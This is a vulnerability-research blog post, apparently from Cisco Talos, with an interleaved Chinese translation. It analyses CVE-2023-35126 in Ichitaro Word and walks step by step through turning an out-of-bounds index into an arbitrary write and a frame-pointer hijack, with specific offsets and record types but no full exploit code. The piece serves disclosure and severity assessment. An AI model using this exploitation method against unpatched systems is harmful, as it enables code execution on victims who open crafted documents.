Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

  • Cisco Talos disclosed several vulnerabilities in JustSystems’ Ichitaro Word Processor last year. These vulnerabilities were complex and were discovered through extensive reverse engineering.
    Cisco Talos 去年披露了 JustSystems 的 Ichitaro 文字处理器中的几个漏洞。这些漏洞很复杂,是通过广泛的逆向工程发现的。
  • CVE-2023-35126 and its peers (CVE-2023-34366CVE-2023-38127, and CVE-2023-38128) were each assessed as exploitable with the possibility of achieving arbitrary code execution.
    CVE-2023-35126 及其对等组织(CVE-2023-34366、CVE-2023-38127 和 CVE-2023-38128)均被评估为可利用,并有可能实现任意代码执行。
  • To establish precedence, a complete arbitrary code execution exploit was developed using only limited primitives provided by CVE-2023-35126, demonstrating its severity in contrast with JP CERT’s assessment.
    为了确定优先级,仅使用 CVE-2023-35126 提供的有限基元开发了一个完整的任意代码执行漏洞,其严重性与 JP CERT 的评估形成鲜明对比。
  • Doing so required an in-depth understanding of the complex file format as well as the internal mechanisms as implemented by Ichitaro, mirroring the exploitation research that a potential malicious adversary would need to perform to achieve the same goal. 
    这样做需要深入了解复杂的文件格式以及 Ichitaro 实施的内部机制,这反映了潜在恶意对手为实现相同目标而需要执行的漏洞利用研究。
  • The exploit converts an out-of-bounds index into a frame pointer overwrite. After silently executing the payload, the process is repaired, allowing the application to finish loading the rest of the document. Silent continuation of process execution is essential so as not to alert the target victim.
    此漏洞可将越界索引转换为帧指针覆盖。以静默方式执行有效负载后,将修复该进程,从而允许应用程序完成文档的其余部分加载。静默地继续执行流程是必不可少的,以免惊动目标受害者。
  • Its payload is distinctly separated from the vulnerability and can be decoded from an arbitrary document stream that is specified at build time. Tools and techniques developed and demonstrated will help us better assess and more quickly understand similar threats in the future. 
    其有效负载与漏洞明显分离,可以从生成时指定的任意文档流中解码。开发和展示的工具和技术将帮助我们更好地评估和更快地了解未来的类似威胁。
  • Stopping short of publishing complete exploit code, we believe it is important to showcase the complexities involved in developing exploits for unusual vulnerabilities and to highlight the importance of exploit mitigations.
    除了发布完整的漏洞利用代码外,我们认为展示针对异常漏洞开发漏洞利用所涉及的复杂性并强调漏洞利用缓解措施的重要性非常重要。

TABLE OF CONTENTS 目录

The Ichitaro word processing component software from JustSystems, Inc. is part of the company’s larger suite of office products, similar to Microsoft Office 365. While fairly unknown in the rest of the world, it has a large market share in Japan. Regionally popular, but often overlooked, these types of applications have been targets of malicious exploitation campaigns previously. Vulnerability research conducted by Cisco Talos over the past year has uncovered multiple high-severity vulnerabilities in Ichitaro that could allow an adversary to carry out a variety of malicious actions, including arbitrary code execution. JustSystems has patched all the vulnerabilities mentioned in this blog post, all in adherence to Cisco’s third-party vendor vulnerability disclosure policy.
JustSystems,Inc.的Ichitaro文字处理组件软件是该公司更大的办公产品套件的一部分,类似于Microsoft Office 365。虽然在世界其他地区相当不为人知,但它在日本拥有很大的市场份额。这些类型的应用程序在区域上很受欢迎,但经常被忽视,以前一直是恶意利用活动的目标。Cisco Talos 在过去一年中进行的漏洞研究发现了 Ichitaro 中的多个高严重性漏洞,这些漏洞可能允许攻击者执行各种恶意操作,包括任意代码执行。JustSystems 已修补了本博客文章中提到的所有漏洞,所有这些都符合思科的第三方供应商漏洞披露政策。

Straightforward fuzzing is mostly ineffective against these types of applications. Complex functionality supported by a complex file format required extensive reverse engineering that yielded a deeper understanding of the inner workings of Ichitaro, which was necessary for effective bug hunting, be it through fuzzing or manual code auditing. These insights help us better assess the severity of vulnerabilities uncovered in the future.
对于这些类型的应用程序,直接的模糊测试大多是无效的。由复杂文件格式支持的复杂功能需要大量的逆向工程,从而更深入地了解 Ichitaro 的内部工作原理,这对于有效的 bug 搜寻是必要的,无论是通过模糊测试还是手动代码审计。这些见解有助于我们更好地评估未来发现的漏洞的严重性。

The uncovered vulnerabilities were generally complex and difficult to reach and trigger. For now, we’ll focus on one vulnerability, in particular, TALOS-2023-1825 (CVE-2023-35126). For demonstration purposes, we are using Ichitaro 2023 version 1.0.1.59372. JustSystems patched this vulnerability in security update 2023.10.19. Our emphasis is on the methods employed while performing root cause and exploitability analysis.
发现的漏洞通常很复杂,难以触及和触发。目前,我们将重点关注一个漏洞,特别是 TALOS-2023-1825 (CVE-2023-35126)。出于演示目的,我们使用 Ichitaro 2023 版本 1.0.1.59372。JustSystems 在安全更新 2023.10.19 中修补了此漏洞。我们的重点是在执行根本原因和可利用性分析时采用的方法。

Developing memory corruption exploits beyond simple proof of concepts is occasionally time-consuming, and hence is not taken lightly. With the advent of more advanced exploit mitigations, it becomes difficult to assess if a singular vulnerability is exploitable and what its severity is. What helps is exploit equivalence classes. An exploit for a use-after-free vulnerability in a certain context demonstrates that all similar use-after-free vulnerabilities are exploitable. While exploit equivalence classes are established for the most common types of targets (browsers or OS kernels, for example), we have no precedent to fall back on when working with previously unknown types of software. 
开发超出简单概念证明的内存损坏漏洞有时很耗时,因此不能掉以轻心。随着更高级的漏洞利用缓解措施的出现,很难评估单个漏洞是否可利用及其严重性。有帮助的是利用等价类。在特定上下文中利用释放后使用漏洞表明,所有类似的释放后使用漏洞都是可利用的。虽然为最常见的目标类型(例如浏览器或操作系统内核)建立了漏洞利用等效类,但在使用以前未知类型的软件时,我们没有先例可以依靠。

This is especially important when judging the severity of the vulnerabilities. Our assessment of this vulnerability using CVSS 3.1 scoring was 7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), while JP CERT assigned it 3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L), as they didn’t deem arbitrary code execution possible. This severely underestimates the severity and poses an unnecessary risk to users who might ignore the security updates. By demonstrating and establishing the exploitability of this vulnerability, we aim to rectify the situation and clarify exploitability estimates for the vulnerabilities we uncover in the future. 
在判断漏洞的严重性时,这一点尤为重要。我们使用 CVSS 3.1 评分对此漏洞的评估为 7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H),而 JP CERT 将其分配为 3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L),因为他们认为不可能执行任意代码。这严重低估了严重性,并给可能忽略安全更新的用户带来了不必要的风险。通过演示和确定此漏洞的可利用性,我们旨在纠正这种情况并阐明我们未来发现的漏洞的可利用性估计。

When exploiting a vulnerability in a common target, well-known techniques can be employed, such as relying on the well-known “addrof/fakeobj” abstraction when exploiting JavaScript engines. However, not all targets allow for the same general techniques. In some cases, interactivity is not possible, or the location of the vulnerability does not allow the adversary to influence enough of the target to allow for exploitability.
利用常见目标中的漏洞时,可以使用众所周知的技术,例如在利用 JavaScript 引擎时依赖众所周知的“addrof/fakeobj”抽象。但是,并非所有目标都允许使用相同的通用技术。在某些情况下,交互性是不可能的,或者漏洞的位置不允许对手对目标产生足够的影响以允许可利用性。

We dissected one of the vulnerabilities discovered within Ichitaro that was classified with seemingly limited severity. Leveraging this vulnerability along with side effects of the code that it belongs to allowed us to construct more powerful exploitation primitives which ultimately resulted in full arbitrary code execution. This not only increases our confidence in the assessment of these families of vulnerabilities but documents and demonstrates the building blocks, tools and methodologies necessary to conduct this research. 
我们剖析了在 Ichitaro 中发现的漏洞之一,该漏洞的严重程度似乎有限。利用这个漏洞以及它所属代码的副作用,我们可以构建更强大的利用原语,最终导致完全任意的代码执行。这不仅增加了我们对评估这些脆弱性家族的信心,而且记录并展示了进行这项研究所需的构建模块、工具和方法。

Format 格式

The main document type supported by the Ichitaro word processor uses the .jtd file extension and is stored as a Microsoft Compound Document. A compound document file contains a hierarchical structure composed of multiple content streams, along with naming information for each, which gives it the near appearance of a filesystem. The primary API is also exposed by Microsoft via COM which, when used to open a document, returns an object that implements the IStorage interface. As a result, the format has been used throughout the years by several Microsoft components, including Microsoft’s Office suite, and is extensively documented by Microsoft in [MS-CFB]: Compound File Binary File Format.
Ichitaro 文字处理器支持的主要文档类型使用 .jtd 文件扩展名,并存储为 Microsoft 复合文档。复合文档文件包含由多个内容流组成的分层结构,以及每个内容流的命名信息,这使其具有文件系统的近似外观。主 API 也由 Microsoft 通过 COM 公开,当用于打开文档时,该 API 返回实现 IStorage 接口的对象。因此,该格式多年来一直被多个 Microsoft 组件使用,包括 Microsoft 的 Office 套件,并且 Microsoft 在 [MS-CFB]: Compound File Binary File Format 中广泛记录了该格式。

Implementers of software utilizing Microsoft’s Compound Document format will leverage its file system-like capabilities to store different streams relating to the contents of the document. Thus, when an application is asked to load a document, the application will read a list of directory entries out of the document to extract the stream names. These stream names can then be used to access the contents of the individual streams, which can then be used to load the necessary parts to restore the document.
使用 Microsoft 复合文档格式的软件实现者将利用其类似文件系统的功能来存储与文档内容相关的不同流。因此,当要求应用程序加载文档时,应用程序将从文档中读取目录条目列表以提取流名称。然后,可以使用这些流名称来访问各个流的内容,然后可以使用这些内容加载必要的部分来还原文档。

From this logic of referencing a stream by its name, a pattern can be identified by the reverse engineer and identify where a specific stream is being parsed by a binary. This pattern, combined with the standard API, can enable a reverse engineer to identify the relevant parts of an application that interact with a document.
通过这种按名称引用流的逻辑,逆向工程师可以识别模式,并确定二进制文件解析特定流的位置。此模式与标准 API 相结合,可以使逆向工程人员识别与文档交互的应用程序的相关部分。

Utilizing these patterns, TALOS-2023-1825 was discovered and then reported as CVE-2023-35126. When first examining an empty document file, several streams along with their names can be found in the structure storage document’s directory. Cross-referencing some of these stream names with the modules loaded in the address space of the binary leads us to a single binary that references the stream name.
利用这些模式,TALOS-2023-1825 被发现,然后报告为 CVE-2023-35126。首次检查空文档文件时,可以在结构存储文档的目录中找到多个流及其名称。将其中一些流名称与二进制文件地址空间中加载的模块进行交叉引用,将我们引向引用流名称的单个二进制文件。

Using the default stream names found within a document produced by the application, each of the binaries belonging to the application can be searched to determine which libraries reference the corresponding stream name. The following command demonstrates a search of that kind.
使用在应用程序生成的文档中找到的默认流名称,可以搜索属于应用程序的每个二进制文件,以确定哪些库引用了相应的流名称。以下命令演示了此类搜索。

Once the correct binaries have been identified, the strings can simply be cross-referenced to identify a list of candidates that might be used to interact with the corresponding stream. In the following screenshot, each of the stream names is located near to each other. After the list of candidate functions has been identified, that list can then be used to set breakpoints with a debugger and then used to enumerate the functions that are relevant to parsing the document.
一旦确定了正确的二进制文件,就可以简单地交叉引用字符串,以标识可用于与相应流交互的候选列表。在以下屏幕截图中,每个流名称彼此靠近。确定候选函数列表后,可以使用该列表通过调试器设置断点,然后用于枚举与分析文档相关的函数。

Discovery 发现

The discovery of the bug in question starts with identifying the location of the stream names, enumerating instruction references to them, and then finding the common caller that is shared by each reference. This was done in the following screenshot using the IDA Python script which takes the list of selected addresses, fetches each of their executable references, groups each of them into separate sets and then finds the common intersection of all the sets. This results in a single function address being responsible for the selected stream names.
发现有问题的 bug 首先要确定流名称的位置,枚举对它们的指令引用,然后找到每个引用共享的公共调用方。这是在以下屏幕截图中使用 IDA Python 脚本完成的,该脚本获取所选地址的列表,获取其每个可执行引用,将每个地址分组到单独的集合中,然后找到所有集合的共同交集。这会导致单个函数地址负责选定的流名称。

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

After reviewing the function associated with the discovered address, 0x3BE25803, it appears to reference all of the stream names that were listed out of the empty document and are used as some form of initialization. Upon running the application with a breakpoint set to this address, our debugger will confirm that this code is executed upon opening the document. Examining the backtrace during the same debugging session then gives us a straightforward path to identify how the application parses streams from the document.
在查看与发现的地址关联的函数后, 0x3BE25803 它似乎引用了空文档中列出的所有流名称,并用作某种形式的初始化。在运行断点设置为此地址的应用程序时,我们的调试器将在打开文档时确认此代码已执行。然后,在同一调试会话中检查回溯跟踪为我们提供了一条简单的路径,用于确定应用程序如何解析文档中的流。

The function at 0x3BE25803 then has a single caller at 0x3C1FAF0F that can be navigated to in our disassembler. From this caller, each function that is called by it can be used to identify other places where stream names from the document are referenced. This is a common pattern that can be used to map each stream name to a function that is either responsible for parsing said stream or initializing the scope of variables that are later used when parsing the stream.
0x3BE25803 然后,该函数有一个调用方,可以在我们的反汇编程序中导航到 0x3C1FAF0F 该调用方。从此调用方中,它调用的每个函数都可用于标识引用文档中的流名称的其他位置。这是一种常见模式,可用于将每个流名称映射到一个函数,该函数负责解析所述流或初始化稍后在解析流时使用的变量范围。

The listing shows the beginning of the function at 0x3C1FAF0F with the name object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be. This function references the DocumentViewStyles stream. Specifically, both the DocumentViewStyles and DocumentEditStyles strings are referenced next to each other separated by only a conditional. Hence, both streams likely use the same implementation to parse their contents and a parameter is used to distinguish between them. At the bottom of the same function is a loop that is likely used to process the variable-length contents of the streams. If we examine the function being called for each iteration of this loop, we will encounter the following function, which is of reasonable complexity and appears to process some number of record types using a 16-bit integer as their key. The shape of this function is shown in the following screenshot. 
该清单显示了函数的 0x3C1FAF0F 开头,名称 object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be 为 。此函数引用 DocumentViewStyles 流。具体来说,和 DocumentViewStyles DocumentEditStyles 字符串彼此相邻引用,仅由条件分隔。因此,两个流可能使用相同的实现来分析其内容,并使用参数来区分它们。同一函数的底部是一个循环,可能用于处理流的可变长度内容。如果我们检查这个循环的每次迭代所调用的函数,我们将遇到以下函数,该函数具有合理的复杂性,并且似乎使用 16 位整数作为其键来处理一定数量的记录类型。此函数的形状如以下屏幕截图所示。

The following list is a decompilation of the function from the previous screenshot that parses record types out of the stream. Exploring the different cases implemented by this method shows that it is responsible for parsing around 10 different record types. Most of the functions used to parse each individual record types are prefaced with a function that ensures that the necessary fields are constructed and initialized before processing its corresponding record. This implies that the conditional allocations involved with these fields can only be used once per instance of the document, and will need to already have been called to avoid the unpredictability of the data that is left on the stack during the exploitation process.
以下列表是对上一个屏幕截图中的函数的反编译,该函数从流中解析记录类型。探索此方法实现的不同情况表明,它负责解析大约 10 种不同的记录类型。用于分析每个单独记录类型的大多数函数都以一个函数开头,该函数可确保在处理其相应记录之前构造和初始化必要的字段。这意味着与这些字段相关的条件分配只能在文档的每个实例中使用一次,并且需要已经调用,以避免在利用过程中留在堆栈上的数据的不可预测性。

The first set of conditions that are listed in the decompilation leads to the parser for record type 0x2005. The second case, as per the decompilation, is used to parse record type 0x2008. It is this record type that contains the entirety of the vulnerability leveraged by this document.

The next listing shows the parser for record type 0x2008. In it, we can immediately spot a static-sized array due to the loop that initializes it. After a closer look at the references to this array, the function uses an index to access elements of the array without checking their boundaries. Immediately after fetching an item from the array, the item is then written to. Thus, this out-of-bounds index is made significantly more useful due to it being used for writing into a constant-sized array.

The index is used to refer to the correct element in an array of pointers to an object. This object, object_9d15a0, is 0x68 bytes in size and is primarily composed of integer fields that are used to store data read from the current stream. Thus, the vulnerability enables us to write data to one of the object’s fields depending on which case was read during parsing. Examining each of the cases individually, there are three ways in which the implementation may be written to object_9d15a0.

The first class involves dereferencing a pointer from the indexed object and then writing a 16-bit integer zero-extended to 32 bits to the target of the pointer.

The second class also involves dereferencing a pointer but allows us to write a 32-bit integer to the pointer’s target.

The third class is slightly more complex, but it appears to write a reference to a short object of some kind that contains an integer that can be set to 1 or 2, and a pointer that can be freed depending on the value of that integer. Of these three classes, the 32-bit integer write seems to be the most useful unless we plan to write a length where the high 16-bits are always cleared.
第三个类稍微复杂一些,但它似乎写了对某种短对象的引用,该对象包含一个可以设置为 1 或 2 的整数,以及一个可以根据该整数的值释放的指针。在这三个类中,32 位整数写入似乎是最有用的,除非我们计划写入始终清除高 16 位的长度。

After the pointer for any of these classes has been dereferenced, the integer that is decoded from the stream is written to a field within the dereferenced object. Examining each individually shows us exactly which field of the object will be written to. It appears that depending on the case that we choose, our decoded integer will end up being written within the range +0x34 to +0x60 of the object. As only the 32-bit integer and possibly the short object cases appear to be of use, we will take note of the field they write to, and use that field to locate something useful to overwrite. Specifically, we take note that the short object type is using case 0x5 and will result in writing to offset +0x4c, whereas the 32-bit integer type for case 0x7 will end up writing to offset +0x58.
在取消引用这些类中的任何一个的指针后,从流解码的整数将写入取消引用对象中的字段。单独检查每个字段可以准确地显示对象将被写入哪个字段。看来,根据我们选择的情况,解码后的整数最终将被写入对象 +0x60 的范围内 +0x34 。由于似乎只有 32 位整数和可能的短对象大小写有用,因此我们将记下它们写入的字段,并使用该字段来查找有用的内容进行覆盖。具体来说,我们注意到短对象类型使用 case 0x5 ,将导致写入 offset +0x4c ,而 case 0x7 的 32 位整数类型最终将写入 offset +0x58 。

Referencing the listing, each of the fields that are being written to are named as v_typeField(case)_offset. When parsing the 0x2008 record type, the integer decoded out of the stream will be written to either one of these fields. It is worth noting that the field v_typeField(7)_38 for case 7 will allow us to write a full 32-bit integer, the field v_typeFieldString(5)_2c for case 5 will allow us to write a pointer to a 16-bit character string, and the other fields will allow us to write a 32-bit integer zero-extended from a 16-bit integer. The only thing left to do is to write a proof-of-concept demonstrating the out-of-bounds index being used to dereference a pointer, and then write to our desired field.
引用列表时,要写入的每个字段都命名为 v_typeField(case)_offset 。解析 0x2008 记录类型时,从流中解码的整数将写入这些字段之一。值得注意的是,case 7 字段 v_typeField(7)_38 将允许我们写入一个完整的 32 位整数,case v_typeFieldString(5)_2c 5 字段将允许我们写入指向 16 位字符串的指针,其他字段将允许我们从 16 位整数写入一个 32 位整数零扩展。剩下唯一要做的就是编写一个概念验证,演示用于取消引用指针的越界索引,然后写入我们所需的字段。

Mitigations 缓解措施

After identifying the vulnerability, we can immediately check the mitigations that have been applied to the target to get a better idea of what might be a hindrance to the exploitation of our write candidates. By examining the modules in the address space, we can see that DEP (W^X) is enabled, but ASLR is not for some of the listed modules. This greatly simplifies things, since our vulnerability allows us to overwrite practically anything within these listed modules. Because of this, we won’t need to do much else other than write to a known address to hijack execution.
识别漏洞后,我们可以立即检查已应用于目标的缓解措施,以更好地了解可能阻碍利用我们的写入候选程序的因素。通过检查地址空间中的模块,我们可以看到 DEP (W^X) 已启用,但 ASLR 不适用于某些列出的模块。这大大简化了事情,因为我们的漏洞允许我们覆盖这些列出的模块中的几乎任何内容。因此,除了写入已知地址以劫持执行外,我们不需要做太多其他事情。

In the following screenshot, we also notice that the target uses frame pointers and stack canaries to protect them from being overwritten. This won’t directly affect the exploitation of this vulnerability but could affect any code we might end up re-purposing once we earn the ability to execute code.

Leveraging the vulnerability

Now that we’ve identified anything that might add to the complexity of our goals, we can revisit the vulnerability and expand on it. The first thing we’ll need to do is to control the pointer that will be dereferenced. Our pointer will be located on the stack, so we’ll need to get data that is parsed from the stream by the application to be located on the stack so that we can use our out-of-bounds index to dereference it.

Examining the scope of the vulnerability shows that it has a call stack depth of three, from when the document starts to parse the streams from the document at object_9c2044::method_processStreams_77af0f. This depth represents the part of the application where we control input and contains the logic by which we can influence the application with our document. Any data that is read from the file will only be available from one of the methods within this scope.

From a cursory glance at the object_9c2044::method_processStreams_77af0f method in the listing, it seems that the stream of interest is one of the first two streams that are being parsed by the application. This implies that there is not much logic that is executed between the document being opened and our vulnerability being reached. To influence the state of the application before our vulnerability, we are limited only to the logic related to parsing the streams containing the document styles. If we end up hijacking execution at any time within the vulnerability’s scope, we’ll need some way of maintaining control afterward to modify the permissions of whatever page we plan on loading.

Exploring some of the other stream parsers seems to show that virtual methods are called upon by some objects to read from the stream. These exist in a writable part of some of the available modules, so we can likely overwrite them globally if we determine it necessary. However, this would also result in the “breaking” of that functionality for the entire application since the virtual method would not be usable anymore.

Since our write is happening at the beginning of the application parsing the document, anything we overwrite would have to be used by the one or two streams that read data from the file. Performing a rudimentary query on the parsers for the record types belonging to both the DocumentViewStyles and DocumentEditStyles streams show that nothing is being read dynamically into the heap or any other means, and so we’ll have to use our vulnerability to write the entire payload and anything else we might need.

This listing shows the layout of the entire frame belonging to the object_9d0d30::readStyleType(2008)_391906 method which contains our vulnerability. In this layout, the lv_objects(6)_6c field contains the six-element array of pointers that our index is used with. This means that we’ll be dereferencing a pointer relative to this array. Right after this array is a buffer before the canary protecting the caller’s frame pointer and address. If we cross-reference this field, we can see that it is referenced during the processing of case 5
此列表显示了属于包含漏洞 object_9d0d30::readStyleType(2008)_391906 的方法的整个框架的布局。在此布局中,该 lv_objects(6)_6c 字段包含用于索引的六元素指针数组。这意味着我们将取消引用相对于此数组的指针。紧跟在此数组之后的是金丝雀之前的缓冲区,用于保护调用方的帧指针和地址。如果我们交叉引用这个字段,我们可以看到它在处理 case 5 的过程中被引用了。

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

In case 5, the implementation will read two 16-bit fields, containing the index and size. This size is checked against the 0x66 constant before it is used to read an array of 16-bit integers into the referenced buffer of 0x50 bytes in size. After being checked against 0x66, the size is aligned to a multiple of 2 and then verified that it is less than 0x42. If the length verification fails this time, the __report_rangecheckfailure function will immediately terminate execution.
如果 5 ,实现将读取两个 16 位字段,其中包含索引和大小。在将 16 位整数数组读入大小为字节的引用缓冲区 0x50 之前, 0x66 会根据常量检查此大小。在对照 对照 0x66 对齐后,将大小对齐为 2 的倍数,然后验证它是否小于 0x42 。如果这次长度验证失败,函数 __report_rangecheckfailure 将立即终止执行。

If this check is passed, the array that was read will be used to construct the prior-mentioned short object and then written to the array of six objects that are located on the stack. There is no other code within this function that uses this 16-bit integer array, and since it is used to temporarily store the array of 16-bit integers read from the file, we can reuse its space to store any pointers that we will want to use during exploitation.
如果此检查通过,则读取的数组将用于构造前面提到的短对象,然后写入位于堆栈上的六个对象的数组。此函数中没有其他代码使用此 16 位整数数组,并且由于它用于临时存储从文件中读取的 16 位整数数组,因此我们可以重用其空间来存储我们想要在利用期间使用的任何指针。

Vulnerability’s capabilities
漏洞的功能

Moving back to the proof-of-concept, we’ll need to combine the two mentioned cases for record 0x2008, so that we can emit the necessary records to write to an arbitrary address. Case 5, allows us to store an array of 16-bit integers into a buffer, so we will use this to store the pointers that will be dereferenced to the lv_wstring(28)_54 field. Case 7, allows us to specify an out-of-bounds index and so we can specify an index that will dereference a pointer from the lv_wstring(28)_54 field that we loaded with case 5. The combination of these two types allows us to write a controlled 32-bit integer to a controlled address.

Due to the limit of our scope, with the vulnerability being at the very beginning of the document being parsed, we are restricted in that we must use the vulnerability to load the entirety of our payload within the application’s address space. This implies that we’ll need to promote the primitive 32-bit write to an arbitrary address into a primitive that allows us to write an arbitrary amount of data to an arbitrary address. If we use the same technique of one record with type 5 followed by a record of type 7, this would result in a size cost of six bytes composed of the typesize, and index, followed by 32 bits for the integer or the address (10 bytes in total). Since both record types are being used, the overhead would be 20 bytes for every 32-bit integer that we wish to write. Fortunately, this overhead can be reduced due to there being more space within the lv_wstring(28)_54 field that we can use to store each address that will need to be written to.

The upper bound of the size before __report_rangecheckfailure is 0x42 bytes and we will need to include extra space for the null-terminator at the beginning of the string. This will allow us to load 15 addresses for every type 5 record using 0x46 bytes. Then using a type 7 record for each integer to write will result in the cost being 10 bytes per 32-bit integer, an improvement. To accommodate an amount of data that is not a multiple of 4, we simply write an unaligned 32-bit integer at the end for the extra bytes and proceed to fill the space before as described. After implementing these abstractions in our exploit, the next step is to figure out what to hijack.

Hijacking execution

As we can write anywhere within the address space, we could overwrite some global pointers to hijack execution. But, if we review the code within and around our immediate scope, the only virtual methods that are available to hijack are only used for reading the contents of the current stream being parsed. If we examine the contents of these objects, it turns out that there is absolutely nothing inside them that contains useful data or even pointers that may allow us to corrupt other parts of the application. As such, we need to hope that something we can influence with the contents of the stream resides at a predictable place in memory.

This listing shows the layout of the object used to read data from the stream. As listed, the object has only one field which is the index or handle for the document. Due to the lack of ASLR, we could overwrite one of the virtual method tables that are referenced by this object. However, the only methods that the application uses from this object are used by the same record implementation to parse it. Anything we overwrite will immediately break this object and prevent the application from loading any more data from the document.

Examining the stack also shows that there are not any useful pointers other than one to a global object which is initialized statically and is thus scoped to the application. However, there are frame pointers on the stack that may be used. We will only need to discover a relative reference to one to use it. Due to the nature of how code is executed, we can assume that everything within our vulnerability’s context originates from a caller farther up the stack. Hence, it is either copied out of the heap belonging to another component, entered our scope via some global state, or enters scope as a parameter. We will also need to keep in mind that we are only able to write a 32-bit integer at +0x58, 16-bit integers between +0x34 and +0x60, or a pointer to a structure containing a string at +0x4C relative to our chosen pointer. Hence, we will need to search to find a reference to a frame that allows us to hijack execution within these constraints.

If we capture the call stack at the point of the vulnerability being triggered, we can grab the layout of each frame, and use it to identify any fields that are +0x58 for case 7, or +0x4C - 4 for case 5.

From this listing, we have only five results, only two of which appear to be pointing to a field that may be referenced. This number of results is small enough to verify manually and we discover that the field, lv_struc_38, which begins at exactly 0x58 bytes from a frame pointer is perfect for our 32-bit write. This field belongs to the frame for the function at 0x3BE276BE which is the method named object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be. Examining the prototypes of the functions called by this method shows that the object appears to only be used by a single method.
从此列表中,我们只有五个结果,其中只有两个似乎指向可能被引用的字段。这个结果数量足够小,可以手动验证,我们发现字段 lv_struc_38 ,它正好 0x58 从帧指针开始的字节数,非常适合我们的 32 位写入。此字段属于函数的帧, 0x3BE276BE 该函数是名为 object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be 的方法。检查此方法调用的函数的原型表明,该对象似乎仅由单个方法使用。

From the results in the listing, it seems that the struc_3a9de4::parseStylesContent_3a7048 method references our desired type as its this parameter. During review of the struc_3a9de4::parseStylesContent_3a7048 method, the object represented by this is stored in the %edi register. Our goal is now to find a pointer to this structure either by being directly referenced or through the %edi register from this method. To find a candidate, we can manually walk from the call stack and enumerate all the places where the type is used, or we can utilize a debugger to monitor the places that reference anything within the structure. Fortunately, our search space is relatively small and we can easily find it in the following listing.
从列表中的结果来看,该 struc_3a9de4::parseStylesContent_3a7048 方法似乎引用了我们想要的类型作为其 this 参数。在审查 struc_3a9de4::parseStylesContent_3a7048 方法期间,表示的 this 对象存储在 %edi 寄存器中。我们现在的目标是通过直接引用或通过此方法的 %edi 寄存器找到指向此结构的指针。为了找到候选者,我们可以手动从调用堆栈中遍历并枚举使用该类型的所有位置,或者我们可以利用调试器来监视引用结构中任何内容的位置。幸运的是,我们的搜索空间相对较小,我们可以在以下列表中轻松找到它。

If we examine the caller of the object_9d0d30::readStyleType(2008)_391906, and traverse backward from it, the first call instruction that we encounter calls a method named object_9c2d50::create_field(64)_6bf3a6. This method is also called on the condition that a field, object_9c2d50::v_data_4::p_object_60 is initialized as zero. The relevant path from the beginning of the encompassing method to the conditionally called method is shown in the prior listing.

Due to both the object_9c2d50::create_field(64)_6bf3a6 and object_9d0d30::readStyleType(2008)_391906 functions being called by the same function, their frames are guaranteed to overlap. We aim to identify a function that preserves the %edi register as part of its prolog by performing a breadth-first search from the struc_3a9de4::parseStylesContent_3a7048 method and using the results to build a list of candidate call stacks that could be filtered.

The following listing combines the call stack from the scope of the vulnerability to identify the candidate range to use when filtering the results. In this listing, the range is from -0xAC to -0x58. By applying this filter to our candidates, we discover that the prolog for function 0x3BDFD8F8 stores several registers within this range. One of these registers is our desired %edi register, which is at offset -0xA4 in our listing. This overlaps with the lv_wstring(28)_54 field belonging to our vulnerable function’s frame.

Hence, we will use the decompiler to locate all known global references to this field within our scope and use them to determine if there is some way that we may initialize this value.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Unfortunately from these results, it turns out that the object_9c2d50.v_data_4.p_object_60 field is only initialized upon entry and exit and requires that this object is not constructed by any of the other record types. Verifying this using the debugger shows that this condition prevents us from using any of the other available record types that were necessary to leverage this path.
不幸的是,从这些结果来看,该 object_9c2d50.v_data_4.p_object_60 字段仅在进入和退出时初始化,并且要求此对象不由任何其他记录类型构造。使用调试器验证这一点表明,此条件会阻止我们使用利用此路径所需的任何其他可用记录类型。

However, there are still more candidates we can go through. Another is at the first function call inside struc_3a9de4::parseStylesContent_3a7048. This descends into the struc_3a9de4::readBoxHeader?_3a6fae function, which then depends on a method defined within the JSVDA.DLL library. The prolog of this method also pushes the %edi register onto the stack. If we set a memory access breakpoint on writing to this address and modify our document to avoid hitting any of the other conditionals that we’ve identified within the function, we can confirm that the preserved reference to lv_struc_38 is accessible to us within our desired range. 
但是,我们还有更多候选人可以尝试。另一个是在里面 struc_3a9de4::parseStylesContent_3a7048 的第一个函数调用。这下降到 struc_3a9de4::readBoxHeader?_3a6fae 函数中,然后函数依赖于 JSVDA.DLL 库中定义的方法。此方法的 prolog 还将 %edi 寄存器推送到堆栈上。如果我们在写入此地址时设置一个内存访问断点,并修改我们的文档以避免触及我们在函数中标识的任何其他条件,我们可以确认在所需的范围内可以访问保留的引用 lv_struc_38 。

Finally, we’ve been able to expand the capabilities of our vulnerability, which was originally an out-of-bounds array index, to a relative dereference with a 32-bit write. Then we reused some of the capabilities within the function that contained the vulnerability to promote the vulnerability into an arbitrary length write to an absolute address. Afterward, we leveraged the control flow to allow us to perform a frame-pointer overwrite for the frame preserved by the object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 method which belongs to its caller, the object_9c2044::method_processStreams_77af0f method. After the application has parsed our steam and returns to this method, we should have control of the frame pointer and the method’s local variables as a consequence. This should enable us to hijack execution more elegantly and still allow us to repair the damage that we’ve done with our vulnerability.
最后,我们已经能够将漏洞的功能(最初是一个越界数组索引)扩展到具有 32 位写入的相对取消引用。然后,我们重用了包含漏洞的函数中的一些功能,将漏洞提升为任意长度的写入绝对地址。之后,我们利用控制流,允许我们对属于其调用方的方法(方法) object_9c2044::method_processStreams_77af0f 保留 object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 的帧执行帧指针覆盖。在应用程序解析了我们的 steam 并返回到此方法之后,我们应该可以控制帧指针和方法的局部变量。这应该使我们能够更优雅地劫持执行,并且仍然允许我们修复我们对漏洞造成的损害。

Hijacking frame pointer 劫持帧指针

